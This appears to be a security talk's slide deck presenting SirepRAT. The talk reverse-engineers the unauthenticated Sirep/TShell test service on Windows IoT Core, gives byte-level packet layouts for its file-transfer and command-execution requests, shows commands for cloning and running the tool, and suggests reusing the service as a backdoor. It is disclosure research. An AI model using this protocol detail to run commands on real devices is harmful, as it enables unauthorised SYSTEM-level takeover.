
SirepRAT
Abusing a Windows service for RCE

Windows IoT Core
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Windows IoT

Windows 10
Free
ARM



Supported Boards

MinnowBoard
Turbot

Raspberry Pi

DragonBoard 410c

AAEON
Up Squared



Usage Stats
● Windows IoT - 2nd largest share in IoT solutions development (22.9%)

● Most IoT solutions in development use ARM architecture

● Security is the top concern for developing IoT solutions

April 2018



Core / Enterprise

Core

ARM & x86_x64 

UWP

Digital signage,
Smart buildings,
Smart homes,
IoT gateways,
Wearables

Enterprise

x86_x64 

UWP & Win32

Industry tablets,
POS,
Kiosks,
ATMs,
Medical devices,
Thin clients



Stock Image / Custom Image

“ if you're looking to commercialize your device, you must 
use a custom FFU to optimize security for your device “

● OS is installed using a bootable image

● Microsoft provides public stock images, per build

● One may build a custom image with a chosen set of features

● Building a custom image is a non-trivial process aimed for OEMs
○ Purchase a code-signing certificate from a Certificate Authority (CA)

○ Sign the final files



OEMInput.xml
Defines features 
to include



Goal:
Remotely Take Control of the Device



Remote Administrative Interfaces

Web Device Portal (WDP)

http://192.168.3.17:8080/

Requires Administrator credentials (HTTP authentication)

https://www.google.com/url?q=http://192.168.3.17:8080/&sa=D&ust=1551655261404000&usg=AFQjCNEsFAMfOoDCiBSn38ipiqYR10u5fQ


Remote Administrative Interfaces

SSH

> ssh Administrator@192.168.3.17

Requires Administrator credentials



Remote Administrative Interfaces

PowerShell

> Set-Item WSMan:\localhost\Client\TrustedHosts -Value 192.168.3.17
> Enter-PSSession -ComputerName 192.168.3.17 -Credential 192.168.3.17\Administrator

Requires Administrator credentials



Remote Administrative Interfaces

IoT Remote Server (Remote display)

1. Login to WDP on the IoT device
2. Enable Windows IoT Remote Server in the ‘Remote’ tab
3. Install Windows IoT Remote Client app on a Windows 10 machine
4. Connect to device using the installed app

Requires Administrator credentials (login to WDP)



Remote Administrative Interfaces

Visual Studio Debugging

1. Login to WDP on the IoT device
2. Start the Visual Studio Remote Debugger in the ‘Debugging’ tab
3. Debug an IoT app using Visual Studio on a Windows 10 machine

Requires Administrator credentials (login to WDP)







Choose image



Ethernet 
Recommended



IOT_WEBB_EXTN

IOT_SSH

IOT_POWERSHELL

IOT_NANORDPSERVER

IOT_SIREP

Enables SIREP service for TShell connectivity

Default Dev Features

Enables Remote Display

Enables PowerShell

Enables SSH

Enables WDP



Dev friendly == Hacker friendly
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DEMO
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HLK
Hardware Lab Kit



What is HLK?
A testing framework for hardware devices & drivers

Targets Windows 10 & Server 2016

HCK (Hardware Certification Kit) successor

Windows Hardware Compatibility Program





HLK setup
● HLK test server and one or more test systems

● HLK server runs:

○ HLK Controller

○ HLK Studio

● HLK client runs the Sirep service

○ Windows IoT: Communication over TCP port 29820

○ Windows 10: Communication over TCP port 1771



Connection Types

IP over USB
Aries Ethernet-to-USB dongle



HLK Proxy Client
● Enables full support for testing on mobile/embedded devices

● May be the same machine as the test server or a dedicated machine



Setup Example #1 - Small Scale



Setup Example #2 - Mid Scale



Setup Example #3 - Large Scale
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Kernel Debug Setup
Ethernet kernel debugging is not supported

USB to UART Cable (TTL)

Prolific USB To Serial Driver



Kernel Debug Setup
[RPi2 or RPi3]:

Pin #6  (GND) <-> Black (GND)
Pin #8  (TX)  <-> White (RX) 
Pin #10 (RX)  <-> Green (TX)

> bcdedit /store c:\EFIESP\EFI\Microsoft\Boot\BCD -dbgsettings debugtype serial
> bcdedit /store c:\EFIESP\EFI\Microsoft\Boot\BCD -dbgsettings baudrate 921600 
> bcdedit /store c:\EFIESP\EFI\Microsoft\Boot\BCD -dbgsettings debug on



CPU Overheat 
Transistor-to-transistor logic (TTL), according to WhatIs.com:
“TTL is characterized by high switching speed, and relative immunity to noise.
Its principle drawback is the fact that circuits using TTL draw more current than 
equivalent circuits.”

RasPi CPU temp > 85° Celsius = downclocking or shutting down

https://www.google.com/url?q=https://whatis.techtarget.com/definition/transistor-to-transistor-logic-TTL&sa=D&ust=1551655265408000&usg=AFQjCNGgvRxpTjvSeFrPzXyfl49MPji9Fw






CREATIVITY OVER 

9000
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The Sirep Protocol
aka TShell

aka WPCon



Network Signature

HKLM\...\FirewallPolicy\FirewallRules:

● Sirep-Server-Protocol2 REG_SZ
v2.28|Action=Allow|Active=TRUE|Dir=In|Protocol=6|LPort=29820|App=%systemroot%\System32\svchost.
exe|Name=Sirep Server (Protocol 2)|Desc=Sirep Server (Protocol 2)|EmbedCtxt=Sirep Server|

● Sirep-Server-Ping REG_SZ
v2.28|Action=Allow|Active=TRUE|Dir=In|Protocol=6|LPort=29819|App=%systemroot%\System32\svchost.
exe|Name=Sirep Server (Ping)|Desc=Sirep Server (Ping)|EmbedCtxt=Sirep Server|



Network Signature
ControllerWSA::NameBroadcasterThread

ControllerWSA::SendBroadcastForDevice

ws2_32!sendto

WS2_32!sendto:

7730b260 e92d4ff0 push        {r4-r11,lr}

0: kd> db r1 L?0x74

0324f7e0  00 c0 ff ee 42 00 38 00-32 00 37 00 45 00 42 00  ....B.8.2.7.E.B.

0324f7f0  33 00 44 00 42 00 44 00-39 00 36 00 00 00 00 00  3.D.B.D.9.6.....

0324f800  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0324f810  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0324f820  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0324f830  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0324f840  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

0324f850  00 00 00 00                                      ....

0: kd> k

 # Child-SP RetAddr  Call Site

00 0324f7c0 711b7cb8 WS2_32!sendto

01 0324f7c0 711b7e3c testsirepsvc!ControllerWSA::SendBroadcastForDevice+0xd0

02 0324f880 711b7abc testsirepsvc!ControllerWSA::NameBroadcasterThread+0xb0

03 0324fad8 77ae97e2 testsirepsvc!ControllerWSA::NameBroadcasterThreadProc+0xc

04 0324fae0 00000000 ntdll!RtlUserThreadStart+0x22



HLK on Windows IoT

Service DLL: C:\Windows\System32\testsirepsvc.dll



Network Signature

Device Advertisement:

● Periodic gratuitous UDP packets

● Unique device ID

● Ethernet connected subnets



Network Signature

PING:
● Listens on the Sirep-Server-Ping (29819) port
● Responds with a “PING” payload to every incoming TCP connection
● Terminates the connection with RST



Network Signature

Service TCP Banner (“Handshake”):
● Listens on the Sirep-Server-Protocol2 (29820) port
● Responds with a GUID string to every incoming TCP connection
● This is the 0x10 bytes long SirepProtocolVersionGuid 

SirepProtocolVersionGuid = 2a 4c 59 a5 fb 60 04 47 a9 6d 1c c9 7d c8 4f 12



Incoming Connection Authorization:

● Listens on the Sirep-Server-Protocol2 (29820) port

● ControllerWSA::IsConnectionAllowed

● No authentication

● No identification

Core Functionality



Incoming Connection Authorization:

Core Functionality



Incoming Connection Authorization:

Core Functionality

How come that the authorization criterion is so permissive?



Protocol Name Ambiguity
No official explanation available. Our best guess:

Windows Embedded

TShell

Ethernet

Windows Mobile

TShell

IP Over USB

Windows Phone

WPCon

IP Over USB

Windows IoT

Sirep

Ethernet



Commands Interface:

● A service routine accepts incoming command buffers:
SirepPipeServiceRoutine

● Directs execution to right path in code, in a switch manner

Core Functionality



TLV

Packet Structure

00 01 02 03 04 05 06 07 08 ... <Payload Length>

Command Type Payload Length Command Data



1. GetSystemInformationFromDevice

2. GetFileFromDevice

3. GetFileInformationFromDevice

4. PutFileOnDevice

5. LaunchCommandWithOutput

Command Structure - Types



1. GetSystemInformationFromDevice

00 01 02 03 04 05 06 07

Command Type Payload Length

32 00 00 00 00 00 00 00



2. GetFileFromDevice

00 01 02 03 04 05 06 07 08 ... 47

Command Type Payload Length Remote Path

1E 00 00 00 40 00 00 00 C:\Windows\System32\hostname.exe



3. GetFileInformationFromDevice

00 01 02 03 04 05 06 07 08 ... 47

Command Type Payload Length Remote Path

3C 00 00 00 40 00 00 00 C:\Windows\System32\hostname.exe



4. PutFileOnDevice

00 01 02 03 04 05 06 07 08 ... 47

Command Type Payload Length Remote Path

14 00 00 00 40 00 00 00 C:\Windows\System32\hostname.exe

48 49 4A 4B 4C 4D 4E 4F 50 ... 67

WriteRecord Type Data Length Data

15 00 00 00 18 00 00 00 HELLO WORLD!



CreateProcess / CreateProcessAsUser

5. LaunchCommandWithOutput



● LocalSystem / logged on user impersonation

○ “<AS_LOGGED_ON_USER>” prefix

● Error / Output streams

● lpApplicationName

● lpCommandLine

● lpCurrentDirectory

5. LaunchCommandWithOutput



5. LaunchCommandWithOutput



00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

Command Type Payload Length Return Output Flag Return Error Flag

0A 00 00 00 AE 00 00 00 01 00 00 00 01 00 00 00

10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F

Application Offset Application Length Command Line Offset Command Line Length

24 00 00 00 66 00 00 00 8A 00 00 00 06 00 00 00

20 21 22 23 24 25 26 27 28 29 2A 2B

Base Directory Offset Base Directory Length Separator

90 00 00 00 1E 00 00 00 00 00 00 00

2C ... <Application Length> 92 ... <Command Line Length> 98 ... <Base Directory Length>

Application Command Line Base Directory

<AS_LOGGED_ON_USER>C:\
Windows\System32\hostname.e

xe
/? C:\Users\Public



Result Packet Structure
Returned as one or more result records.

Command Record Type Code Remarks

GetSystemInformationFromDevice SystemInformation 0x33

LaunchCommandWithOutput

HResult 0x01 Mandatory, represents the HRESULT

OutputStream 0x0B Optional, can’t be set if error stream is not set

ErrorStream 0x0C Optional

GetFileFromDevice File 0x1F

PutFileOnDevice HResult 0x01 represents the HRESULT

GetFileInformationFromDevice FileInformation 0x3D



Result Packet Structure
Result example for LaunchCommandWithOutput:

1    00000010  01 00 00 00 04 00 00 00  00 00 00 00               ........ ....

2    0000001C  0b 00 00 00 36 00 00 00                            ....6... 

     00000024  0d 0a 50 72 69 6e 74 73  20 74 68 65 20 6e 61 6d   ..Prints  the nam

     00000034  65 20 6f 66 20 74 68 65  20 63 75 72 72 65 6e 74   e of the  current

     00000044  20 68 6f 73 74 2e 0d 0a  0d 0a 68 6f 73 74 6e 61    host... ..hostna

     00000054  6d 65 0d 0a 0d 0a                                  me....

3    0000005A  0c 00 00 00 04 00 00 00  01 00 00 00               ........ ....

We got 3 records: HResult, OutputStream, ErrorStream
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MSRC Response
“ The engineering group has determined this report will not be addressed because 
T-Shell (Sirep) is an optional feature on IoTCore for retail images and our 
documentation calls out it is a test package… ”

“ We plan to update the documentation to mention that images running the 
TestSirep package allow anyone with network access to the device to execute any 
command as SYSTEM without *any* authentication and that this is by design. ”
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SirepRAT
Remote control your Windows IoT



Features
● First tool to run programs as SYSTEM on Windows IoT Core

○ Remote

○ Requires no authentication

○ Requires no installation on target device

○ Supports impersonation

● The only requirement is TCP access (29820) to the cable-connected device



Features
● Supports all of Sirep/TShell commands

○ GetSystemInformationFromDevice

○ GetFileFromDevice

○ GetFileInformationFromDevice

○ PutFileOnDevice

○ LaunchCommandWithOutput



Usage
> git clone https://github.com/SafeBreach-Labs/SirepRAT.git

> cd SirepRAT

> python SirepRAT.py <iot_device_ip> GetSystemInformationFromDevice

https://www.google.com/url?q=https://github.com/SafeBreach-Labs/SirepRAT.git&sa=D&ust=1551655268459000&usg=AFQjCNEJYchfcPYo1C1Ezc5rxE3Yl5-0Qw


Future Research
● Use the service DLL as an off the shelf backdoor? For PCs?

● Check attack against Windows Mobile



Q&A


